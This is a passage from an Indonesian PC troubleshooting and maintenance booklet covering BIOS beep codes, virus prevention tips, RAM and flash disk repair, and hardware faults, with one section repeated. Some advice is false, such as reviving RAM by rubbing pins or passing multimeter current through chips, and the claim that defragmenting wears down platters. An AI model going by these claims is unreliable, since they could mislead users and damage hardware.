Posisi Jumper pada posisi<br />semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut, Chip BIOS<br />harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam<br />pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.<br />Gejala :<br />CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar monitor,<br />padahal monitor tidak bermasalah.<br />Solusi :<br />Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis<br />- 24 -<br />kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,<br />yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi<br />penyebabnya.Silahkan anda periksa masalah tersebut.<br />Berikut Pesan kesalahan BIOS :<br />Bunyi kesalahan BIOS biasanya tidak semua. Motherboard menandakan kesalahan yang sama tergantung<br />dari jenis BIOS nya.<br />[AMI BIOS]<br />Beep 1x : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 -<br />Menunjukan Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card<br />tidak terpasang dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan<br />yang baru.<br />[AWARD BIOS]<br />Beep 1x Panjang : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek :<br />Kerusakan Pada Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang<br />masuk), Beep 1x Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi<br />terus menerus : RAM atau Graphic Card tidak terdeteksi.<br />Batrey CMOS Rusak / Lemah<br />Gejala : Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC<br />CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke<br />Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.<br />Solusi : Segera Ganti Batrey nya<br />Gejala : CPU yang sering Hang?<br />Solusi : Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada<br />masalah di Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya<br />sudah lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan<br />berakibat lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut<br />Gejala : Komputer sering tampil blue screen apa penyebabnya?<br />Solusi : Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari<br />hardisk, bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.<br />- 25 -<br />Gejala : Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat<br />Solusi : Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh,<br />terlalu banyak program / software yang memakan space harddisk dan memory, ada virus, harddisk<br />badsector.<br />Cara Mudah Proteksi komputer anda dari virus tanpa program Antivirus &<br />Firewall<br />Untuk mencegah virus, trojan, worm dan sejenisnya dengan memakai antivirus?, belum tentu<br />berguna. Karena virus selalu lebih baru dari antivirus, kalau proteksi dengan program firewall & Antivirus<br />RTS? (Real Time System), bisa juga... cumannya komputer anda akan berjalan lebih lambat, karena<br />program tersebut residen di memory dan memakan system resource lagi pula setiap anda membuka program<br />baru, selalu akan muncul pertanyaan apakah program ini boleh dijalankan.<br />Jadi solusi yang aman, cepat dan praktis bagaimana? Nah baca lebih lanjut artikel ini. Artikel ini<br />sengaja ditulis bagi anda yang ingin mencegah kerusakan system, file dan data anda tanpa perlu campur<br />tangan antivirus dan firewall alias MANUAL.<br />Pertama-tama akan kami jelaskan definisi dan bagaimana virus, trojan, worm dan sejenisnya bisa masuk ke<br />dalam sistem komputer anda.<br />Ø Virus sebenarnya lain dengan trojan atau worm, tapi pada prakteknya penyebarannya virus<br />banyak di maanfaatkan oleh program worm dan trojan. Trojan adalah sebuah program yang<br />dapat dijalankan (biasanya ber-ekstension EXE) oleh pengguna komputer dan ketika<br />program tersebut dijalankan, dia akan merubah sesuatu dari sistem komputer kita (pada<br />umumnya registri windows yang diubah). Nah kalau virus itu residen di memori dan dia akan<br />merubah file yang biasanya ber-ekstension EXE atau COM dan kadang-kadang file tersebut<br />menjadi rusak. Kalau worm (cacing) merupakan program kecil yang berupa script yang bisa<br />nempel di mana aja, bahkan bisa nempel di html file (file website).<br />Program antivirus pada umumnya menggabungkan semua worm dan trojan dalam kategori<br />VIRUS, cuma mungkin dikasih kode virusnya contoh yang worm di kasih kode W<br />depannya baru nama worm tersebut (contoh: w32/sober) dan kita juga akan<br />menggangapnya sama karena semua itu merusak sistem file komputer. Intinya virus bisa<br />berupa atau berfungsi seperti trojan/worm dan sebaliknya juga, apalagi kalau file tersebut<br />- 26 -<br />telah ter-infeksi, otomatis akan menjadi file trojan/worm juga, karena kalau pengguna<br />membukanya akan meng-infeksi file-file lainnya.<br />Ø Penyebaran virus dulunya hanya bisa melalui media luar seperti disktet, tapi di jaman ini<br />virus pada umumnya memanfaatkan teknologi internet untuk menyebar luas. Cara masuknya<br />bisa melalui E-mail (attachment), mirc, messenger (kirim/download file), download dr situs<br />(terutama situs porno) atau bahkan memanfaatkan kelemahan dari sistem browser kita.<br />Banyak cara pembuat virus untuk menjebak orang supaya tertarik untuk men-download dan<br />membuka file yang ber-virus, antara lain dengan iming-iming gambar porno, gambar lucu,<br />tools yang berguna buat anda, cara dapat uang, games bagus, hingga yang baru-baru ada<br />pesan dr FBI/CIA untuk anda.<br />Sebenarnya cara mengatasi virus itu cukup mudah, antara lain:<br />Ø Jangan membuka atau menerima file yang di dapat dr email, mirc dan messenger kalau anda belum<br />kenal dengan pengirimnya dan belum yakin file itu berisi virus.<br />Ø Kalau anda browser ke situs yang tidak anda kenal, matikan program java & java script. Matikan<br />juga fitur install auto atau install on demand supaya program yang berisi virus tidak akan masuk<br />secara otomatis ke komputer anda.<br />Ø Kalau membuka disket, CD, DVD, USB drive dan media luar apapun bentuknya, scan dahulu<br />dengan program antivirus untuk memastikan itu benar-benar aman.<br />Tips di atas mungkin akan mencegah masuknya virus ke komputer anda, tapi tidak akan 100% pasti<br />komputer anda tidak terkena virus, bisa saja anda kecolongan. Lebih dari 90% komputer yang terkoneksi di<br />Internet pernah terkena virus. Nah untuk mengatasi supaya anda aman dari virus, walaupun virus tersebut<br />sempat masuk ke komputer anda, berikut ini adalah caranya:<br />Ø Virus pada umumnya akan merusak dan memperlambat proses kerja komputer. Untuk<br />menghindari kerusakan yang ditimbulkan virus, anda harus punya cadangan penyimpanan data<br />atau file system. Untuk itulah backup system & data sangat diperlukan, apalagi kita tidak akan<br />mengetahui virus di masa yang akan datang akan secanggih apa dan efek kerusakan yang<br />ditimbulkan sejauh apa. cara backup pada winXp dan winme dengan create restore point<br />dahulu di program> accesories> system tools> system restore, win98 bisa pakai Microsoft<br />Backup dengan membackup folder windows semuanya. Khusus untuk data, Winxp dan winme<br />juga harus menggunakan Microsoft Backup, karena system restore tidak 100%<br />mengembalikan data anda.<br />Kalau anda males melakukannya secara manual, winxp dan winme sudah otomatis<br />- 27 -<br />melakukannya setiap anda mematikan komputer anda, Untuk win98 satu-satunya cara hanya<br />memakai program system schedule windows atau program lainnya yang berfungsi sebagai<br />otomatis backup, ketika komputer lagi idle. tapi untuk pastinya, winxp dan winme juga harus<br />memakai program tersebut supaya bila terjadi apa-apa, anda tinggal me-restore kembali. Bila<br />komputer anda hari ini terkena virus, anda tinggal restore system sebelumnya atau yang kemarin.<br />Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE,<br />dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows<br />anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat<br />berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk<br />melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.<br />Ø Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi<br />READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan<br />SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE<br />(search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil<br />(atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di<br />bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa<br />menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh:<br />c:\windows>attrib +r *.exe<br />Hal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena<br />pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih<br />yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN<br />(menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua<br />pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut.<br />Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda,<br />anda bisa pilih "show all hidden files" di "folder option".<br />Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal<br />ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau<br />COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang<br />penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda<br />sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka<br />proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau<br />- 28 -<br />diupdate, dan akan muncul pesan error.<br />Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara<br />virus merusak/merubah file, membasmi atau menghapus virus secara manual, akan penulis<br />bahas di kesempatan lain.<br />10 Jurus Sakti Antivirus dan Worm<br />Mencegah lebih baik daripada mengobati. Pepatah ini ternyata berlaku juga di dunia komputer.<br />Daripada mengeluarkan biaya besar untuk mengobati komputer, lebih baik sedini mungkin melakukan<br />pengamanan yang dapat menjauhkan komputer Anda dari serangan virus. Berikut sepuluh virus sakti untuk<br />mengelakkan serangan virus dan worm pada komputer Anda:<br />1. Selalu lakukan Scan terhadap disket yang masuk ke dalam PC Anda.<br />Meski nampaknya sepele, tapi hal kecil ini akan membantu melindungi komputer Anda dari virus<br />yang ditularkan melalui perilaku tukar menukar disket. Jika sebuah PC terinfeksi oleh virus, maka<br />disket yang dimasukkan kedalamnya, kemungkinan besar akan terinfeksi juga. karena itu, jangan<br />sembarangan membuka disket milik teman pada komputer Anda, sebelum disket itu lolos seleksi<br />scandisk. Jika ternyata program scandisk dapat mendeteksi keberadaan virus tetapi tidak dapat<br />menyembuhkannya, jangan memaksa untuk membuka file pada disket tersebut. Toh, ini juga bisa<br />menjadi semacam warning bagi Anda, supaya segera melengkapi komputer Anda dengan penangkal<br />virus.<br />2. Scan juga CD yang masuk kedalam CD drive Anda.<br />Meski tampaknya lebih eksklusif dan aman, tetapi CD ternyata juga memiliki potensi yang sama<br />seperti disket, dalam menularkan virus. Karena itu, jangan lengah! Tetap lakukan scan terhadap<br />sebuah CD yang akan dipasang pada komputer Anda, sekalipun CD itu baru saja dibeli dari toko.<br />3. Lakukan scan terhadap harddisk Anda, tiap kali Anda akan mulai bekerja dengannya.<br />Sebagaimana balita yang selalu diperiksa kesehatannya, PC Anda juga harus selalu dipantau apakah<br />masih sehat atau telah terinfeksi oleh virus. Lagipula dengan melakukan scan terhadap harddisk<br />sebelum memulai suatu pekerjaan, Anda mengurangi resiko gangguan yang diakibatkan oleh virus<br />selama proses kerja Anda. Selain itu, juga memperkecil peluang terjadinya kerusakan pada file<br />Anda.<br />4. Proteksi disket Anda, jika Anda memasukkannya ke dalam PC orang lain.<br />Seperti telah disebutkan diatas, jika Anda terpaksa harus memasukkan disket milik Anda ke dalam<br />- 29 -<br />komputer orang lain, maka disket Anda perlu diproteksi terlebih dahulu. Konsekuensinya, Anda<br />tidak dapat melakukan perubahan terhadap file yang tersimpan dalam disket tersebut.<br />5. Jangan sembarangan men-download attachment.<br />Dewasa ini banyak jenis worm yang mengirimkan copy dirinya dalam bentuk attachment e-mail.<br />Misalnya worm Miss world. karena itu Anda jangan sembarang membuka attachment jika alamat<br />pengirim tidak Anda kenal. Bahkan meskipun Anda mengenali alamat pengirim, jika tidak ada<br />kesepakatan sebelumnya bahwa orang tersebut akan mengirimkan e-mail berikut attachment, maka<br />sebaiknya Anda menghapus saja attachment tersebut. Tidak peduli betapapun menariknya subjek<br />attachment tersebut. Karena banyak pencipta worm, memanfaatkan keingintahuan seseorang agar<br />mau membuka attachment maut tersebut. Misalnya virus Jenifer Lopez dan worm Miss world yang<br />dikatakan memuat gambar bugil Jenifer Lopez dan gambar Miss world dalam kostum bikini.<br />6. Selektif dalam membuka e-mail.<br />Begitu juga hukum yang berlaku dalam membuka e-mail. sejumlah virus dan worm menduplikasi<br />dirinya dan mengirimkan copy tersebut pada seluruh alamat e-mail yang tertera pada address book<br />Microsoft Outlook Express komputer yang diserangnya. Dengan demikian, si calon korban tidak<br />akan menaruh kecurigaan dan dengan segera akan membuka e-mail beracun tersebut. Karena itu,<br />jika Anda menerima e-mail dari seseorang yang Anda kenal, tetapi dengan subjek yang aneh<br />sebaiknya langsung hapus saja e-mail itu. Kecuali Anda berdua memang sudah membuat janji<br />sebelumnya.<br />7. Memasang dan selalu meng-update program antivirus pada komputer Anda.<br />Terkadang, orang yang masih awam dibidang komputer, merasa sudah aman jika sudah memasang<br />program Norton atau MacAffee. Anda salah! Program antivirus itu memiliki masa kadaluarsa juga<br />seperti makanan kaleng. Karena itu, Anda harus selalu meng-update program antivirus Anda. karena<br />program antivirus yang sudah expired, tidak akan punya gigi lagi untuk menahan serangan virus pada<br />komputer Anda.<br />8. Selalu mengikuti perkembangan berita terbaru tentang virus.<br />Selain memiliki masa kadaluarsa, program antivirus ini juga selalu mengalami update sehubungan<br />dengan virus-virus baru yang terus di-release. Para ahli terus menerus melakukan pengembangan<br />untuk menandingi pencipta virus yang juga berlomba-lomba menciptakan virus yang lebih ganas dari<br />hari ke hari. Karena itu Anda harus rajin mengikuti berita tentang perkembangan virus yang terbaru.<br />Setelah itu, Anda dapat mencari di internet perusahaan antivirus terbaru yang telah meng-update<br />produknya untuk mengantisipasi serangan virus baru tersebut. Banyak sekali perusahaan software<br />antivirus yang menyediakan fasilitas download gratis melalui internet.<br />- 30 -<br />9. Men-download Microsoft Outlook Security Patch ke dalam sistem komputer Anda.<br />Sebagaimana diketahui, tidak ada program software yang sempurna. Maksudnya, pasti ada bug atau<br />titik lemah di dalam software itu. demikian juga halnya yang terjadi dengan aplikasi Microsoft<br />Outlook Express. Karena itu, dengan men-download Microsoft Outlook Security Patch ke dalam<br />sistem komputer Anda, berarti Anda telah menanggulangi bug yang ada pada program ini. Berkat<br />bantuan program kecil ini, kinerja dari "satpam" Microsoft Outlook Express menjadi lebih maksimal<br />dalam menjaga komputer Anda, dari virus atau worm yang menyerang dengan memanfaatkan<br />address book Microsoft Outlook express.<br />10. Menonaktifkan Windows Scripting Host.<br />Sebagaimana diketahui, banyak virus dan worm baru yang dikembangkan dengan visual basic<br />scripting di bawah sistem windows. Untuk memperkecil serangan, Anda sebaiknya menonaktifkan<br />program yang berfungsi untuk mengotomatisasi suatu fungsi. Namun demikian, perlu diingat bahwa<br />tidak semua virus berbahasa VBS dapat ditahan dengan menonaktifkan program ini.<br />Tips Memperbaiki Memori Komputer yg Mati<br />Memory atau yang kita kenal RAM adalah salah satu perangkat keras(Hardware yang sangat Fital<br />dalam CPU, maka itu ini salah satu tips dan pengalaman saya tentang menangani memory PC (SDRAM,<br />DDRAM) yang sudah anda anggap mati (asal tidak mengalami kerusakan fisik yang parah ,misalnya terbakar<br />atau hancur/patah), karena biasanya menurut yang saya lihat bila memory sudah di nyatakan mati oleh pemilik<br />PC atau oleh teknisi komputer maka biasanya langsung saja di ganti dengan membeli memory yang baru,<br />padahal masih ada kemungkinan memory tersebut di bikin hidup atau berfungsi lagi.<br />Berikut ini saya punya tips untuk menangani memory yang sudah di anggap mati tersebut berdasarkan<br />pengalaman selama menggeluti dunia hardware , dengan akurasi dia atas 70 %, jadi misalnya anda memiliki<br />10 keping memory mati maka ada kemungkinan 7 keping masih bisa di selamatkan…cukup lumayan kan.?<br />kita bisa menghemat uang beberapa ratus ribu utntuk perkepingnya.<br />1. Bersihkan memory tersebut dengan cara menggosok pin-pin memory tersebut dengan kain dengan<br />tujuan membersihkan, boleh juga di beri Tiner sedikit supaya lebih bersih dari debu, dan gesekan<br />dengan kain tersebut juga akan memancing ion-ion pada pin memory menjadi tersimulasi agar<br />konduktornya lebih aktif.<br />2. Arahkan skala Avometer pada Ohm (skala untuk mengukur hambatan), bebas boleh pada posisi 1K,<br />10K, 100K…<br />3. Ambil jarum negative (-) Avometer (kabel warna hitam) lalu tempelkan pada salah satu pin/kaki<br />memory, dan jarum positive (kabel warna merah) gesekan pada pada kumpulan kaki-kaki IC/chipset<br />- 31 -<br />memory ,bila memory memiliki 8 buah IC misalnya maka gesekan jarum (+) tersebut ke kaki-kaki 8<br />IC tersebut.<br />4. Selesai….silahkan coba pasang memory tersebut pada slotnya di Mainboard….!<br />Note:<br />Proses ini adalah memanfaatkan aliran arus listrik dari batere Avometer yang di alirkan ke dalam<br />sirkuit-sirkuit IC/Chipset memory . Cara kerja proses ini adalah seperti halnya proses Clear CMOS pada<br />Mainboard apabila Mainboard mengalami crash dan tidak mau hidup, yaitu terjadinya gangguan atau<br />penyumbatan pada perjalanan arus listrik sehingga arus yang diperlukan untuk untuk pengaktifan suatu<br />system tidak terpenuhi….atau seperti ilustrasi orang yang pingsan atau koma lalu kita coba bangunkan<br />dengan cara di pancing syaraf-syarafnya untuk aktif dan sadar dengan cara di siram air, di setrum..dsb.<br />Flash Disk Anda Rusak ? Tiba-tiba Mati ?<br />Pernah mengalami kejadian seperti ini:<br />Saat flash disk tertancap di komputer win XP, sedang dipakai namun tiba-tiba windows hank alias<br />frozen. Setelah komputer di booting paksa dan di hidupkan lagi, ternyata flash disk yang tertancap tadi mati.<br />Falsh disk tidak bisa bekerja lagi. Windows mendeteksi kapasitasnya 0 MB dan mengeluarkan pesan untuk<br />memformatnya. Dicoba untuk di format gagal juga. Akhirnya gak terpakai lagih Flashdisk”. Kalau memang<br />kasus seperti ini yang anda alami terhadap kerusakan flash disk anda. jangan khawatir kita masih bisa coba<br />untuk menyelamatkan dan menghidupkanya lagi. Berikut ini langkah-langkah untuk memperbaikinya:<br />Ø Softawre yang kita perlukan untuk keperluan ini adalah HP Drive Boot Utility (buatan HP<br />namun jangan khawatir ternyata bisa kita gunakan untuk merek yang lainya. Bahkan untuk<br />memory kamerajuga).<br />Ø Setelah di download, jalankan dan pilih drive untuk falsh disk yang akan diperbaiki.<br />Ø Pilih tipe format disk yang mau di gunakan (FAT, FAT32 atau NTFS)<br />Ø Pilih Quick Format<br />Ø Kemudian pilih start untuk memulainya.<br />Tips Merawat Komputer<br />Mungkin saat ini, computer menjadi suatu barang yang wajib dikenal and diketahui terutama oleh<br />- 32 -<br />kebanyakan mahasiswa. Memang tidak wajib, namun kita mengenal computer tentu saja akan membuat apa<br />yang kita kerjakan semakin mudah. Pun lebih dari itu, sekumpulan computer yang terhubung dalam jaringan<br />atau network dapat digunakan untuk berbagi sumberdaya dan informasi.Pertanyaan yang sering mucul<br />adalah, bagaimana kah cara yang bisa dilakukan tuntuk merawat computer..? karena tak jarang computer<br />yang kita miliki itu rusak baik itu karena terkena virus, adanya komponen dalam CPU computer yang rusak<br />ataupun crash nya instalasi yang kita lakukan pada computer.<br />Ada baiknya jika kita mengetahui bagaimana cara untuk merawat computer sehingga sebelum<br />computer itu rusak, kita sudah dengan susah sekuat tenaga untuk merawat computer kita namun kalo<br />memang sudah waktu nya rusak yam au gimana lagi, berikut ini penulis ingin membagikan beberapa tips<br />untuk merawat computer….so lets cek it now<br />1. Bersihkan motherboard & periferal lain(hardware) dari debu secara berkala. Untuk<br />membersihkannya dapat kiga gunakan kuas halus ukuran kecil dan sedang. Setidaknya dua<br />bulan sekali hal ini harus dilakukan. Buka casingnya terlebih dahulu kemudian bersihkan<br />motherboard dan periferal lain (RAM, Video Card, Modem, Sound Card,<br />CDR/CDRW/DVRW, TV Tuner) dengan sikat halus. Pada saat komputer tidak<br />digunakan tutuplah komputer (monitor, CPU, keyboard/mouse) dengan cover sehingga<br />debu tidak mudah masuk ke dalam komputer.<br />2. Uninstall atau buang program yang tidak berguna. Ruang harddisk yang terlalu banyak<br />tersita akan memperlambat proses read/write harddisk sehingga beban kerjanya akan lebih<br />berat sehingga harddisk akan cepat rusak. Biasanya akan muncul warning juga space<br />hardisk kita sudah penuh. System operasi windows sudah mendukung akan hal yang<br />seperti ini<br />3. Bersihkan Recycle Bin secara rutin. Sebenarnya file/folder yang kita hapus tidak langsung<br />hilang dari harddisk karena akan ditampung dahulu di Recycle Bin, namun ada beberapa<br />jenis setingan yang bisa kita gunakan antara lain memberikan peringatan saat menghapus,<br />hapus lalu simpan di tempat sementara atau hapus permanen. Untuk setingan yang hapus<br />lalu disimpan ditempat penampungan ini dengan maksud agar suatu saat apabila Anda<br />masih membutuhkannya dapat mengembalikan lagi. Recycle Bin yang sudah banyak juga<br />akan menyita ruang harddisk yang dapat menyebabkan pembacaan harddisk jadi lelet.<br />Caranya :<br />- 33 -<br />>> jalankan Windows Explorer<br />>> klik Recycle Bin<br />>> klik File<br />>> klik Empty Recyle Bin.<br />Atau Anda dapat menjalankan fungsi Disk Cleanup Caranya :<br />>> Klik Start<br />>> Program<br />>> Accessories<br />>> System Tool<br />>> Disk Cleanup<br />>> kemudian pilih drive yg mau dibersihkan<br />>> setelah itu centangilah opsi Recycle Bin kalau perlu centangi juga yg lain (seperti<br />temporary file, temporary internet file), setelah klik OK.<br />4. Install program antivirus dan update secara berkala. Untuk dapat mengenali virus/trojan2<br />baru sebaiknya update program antivirus secara berkala. Virus yang terlanjur menyebar di<br />komputer dapat membuat Anda menginstall ulang komputer. Hal ini selain membutuhkan<br />biaya juga akan menyebabkan harddisk Anda akan lebih cepat rusak dibanding apabila<br />tidak sering diinstall ulang. Ada baiknya kita menonaktifakan sistem restore yaitu dengan<br />cara klik kanan My Computer >> pilih System Restore >> lalu beri tanda centang pada<br />cek box dengan keretangan Turn off System Restore on all drive<br />5. Tutup / close program yg tidak berguna Setiap program yg diload atau dijalankan<br />membutuhkan memory (RAM) sehingga semakin banyak program yg dijalankan semakin<br />banyak memory yg tersita. Hal ini selain dapat menyebabkan komputer berjalan lambat<br />(lelet) juga beban kerja menjadi lebih berat yg akhirnya dapat memperpendek umur<br />komponen/komputer<br />6. Pakailah UPS atau stavolt.Pakailah UPS untuk mengantisipasi listrik mati secara tiba-tiba<br />yg dapat mengakibatkan kerusakan pada harddisk. Kalau terpaksa tidak ada UPS,<br />pakailah Stavolt untuk mengantisipasi naik turunnya tegangan listrik.<br />7. Aktifkan screensaver Selain bersifat estetis, screensaver mempunyai fungsi lain yg penting.<br />Monitor CRT juga televisi menggunakan fosfor untuk menampilkan gambar. Kalau monitor<br />menampilkan gambar yg sama untuk beberapa saat maka ada fosfor yang menyala terus<br />- 34 -<br />menerus. Hal ini dapat mengakibatkan monitor bermasalah yaitu gambar menjadi<br />redup/kurang jelas. Lain halnya jika monitor Anda adalah LCD, LED yg sudah dilengkapi<br />dengan energy saving, maka screensaver tidak terlalu dibutuhkan lagi.Cara+ mengaktifkan<br />screensaver dapat dilakukan dengan banyak cara, salah satunya<br />>> klik Start<br />>> Control Panel<br />>> Display<br />>> klik tab screensaver,<br />>> kemudian pilih sesuai selera Anda.<br />Defrag harddisk secara berkala. Fungsi defrag adalah untuk menata dan mengurutkan<br />file-file harddisk berdasarkan jenis file/data sedemikian rupa sehingga akan mempermudah<br />proses read/write sehingga beban kerja akan lebih ringan yg akhirnya dapat<br />memperpanjang umur harddisk. Caranya klik menu Start > Program > Accesories ><br />System Tool > Disk DefragmenterSaat menjalankan fungsi ini tidak boleh ada program lain<br />yg berjalan termasuk screensaver karena akan mengacaukan fungsi defrag ini. Untuk cara<br />ini dianjurkan tidak terlalu sering,mengapa….? Defrag adalah proses pengaturan file pada<br />hardisk. Untuk mengaturnya agar berada pada posisi track yang berdekatan maka<br />dilakukan gesekan untuk memindahkan. Defrag yang terlalu sering akan menyebabkan<br />kondisi piringan hardisk cepat rusak karena seringanya proses pengikisan.<br />8. Ventilasi yang cukup Tempatkan monitor maupun CPU sedemikian rupa sehingga ventilasi<br />udara dari dan ke monitor / CPU cukup lancar. Ventilasi yg kurang baik akan<br />menyebabkan panas berlebihan sehingga komponen/rangkaian elektronik di dalamnya<br />akan menjadi cepat panas sehingga dapat memperpendek umur komponen tsb. Oleh<br />karena itu usahakan jarak antara monitor/CPU dengan dinding/tembok minimal 30 cm.<br />Kalau perlu pasang kipas angin di dalam ruangan. Akan lebih baik lagi jika menggunakan<br />AC, hmm tambah dingin<br />9. Jangan meletakkan Speacker Active terlalu dekat dengan monitorKarena medan magnet<br />yang ada pada speacker tersebut akan mempengaruhi monitor yaitu warna monitor<br />menjadi tidak rata atau belang-belan<br />10. Pasang kabel ground. Apabila casing nyetrum, ambil kabel dengan panjang seperlunya,<br />- 35 -<br />ujung satu dihubungkan dengan badan CPU (pada casing) sedangkan ujung yg lain ditanam<br />dalam tanah. Hal ini akan dapat menetralkan arus listrik yg “nyasar” sehingga dapat<br />membuat komponen elektronik lebih awet.(diambil dari berbagai sumber)<br />MASALAH PADA MOTHER BOARD<br />Gejala<br />Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala,<br />lampu indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada<br />suara beep di speaker.<br />Solusi<br />Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel<br />keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.<br />Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel<br />tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam<br />pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound<br />atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa<br />Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.<br />Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada<br />kalanya Mboard tidak jalan karena kerusakan pada program yang terdapat di BIOS<br />MASALAH PADA HARD DISK<br />Gejala<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan<br />diam beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan<br />“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan<br />- 36 -<br />tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.<br />Solusi :<br />Periksa kabel tegangan<br />Mengatasi Masalah Pada CD/DVD/ROM/RW<br />Gejala :<br />Jenis kerusakan yang biasa ditemui<br />1. Tidak terdeteksi di windows<br />2. Tidak bisa keluar masuk CD<br />3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)<br />4. Tidak bisa membaca/menulis/write protect (Floppy disk)<br />Solusi<br />Ø Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah<br />sudah dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di<br />Controllernya.<br />Ø Kerusakan adapada mekanik motor atau karetmotor.<br />Ø Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set<br />ualng optik tersebut.<br />Ø Head Kotor, bisa dibersihkan menggunakan Cutenbud<br />Masalah BIOS<br />Gejala<br />Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan<br />bahkan anda tidak dapat masuk ke BIOS.<br />Solusi<br />Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup<br />BIOS pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya<br />- 37 -<br />anda tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya.<br />Kemudian hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper<br />pada posisi semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut,<br />Chip BIOS harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam<br />pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.<br />Gejala<br />CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar<br />monitor, padahal monitor tidak bermasalah.<br />Solusi<br />Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis<br />kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,<br />yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi<br />penyebabnya.Silahkan anda periksa masalah tersebut.<br />Pesan kesalahan BIOS. Bunyi kesalahan BIOS biasanya 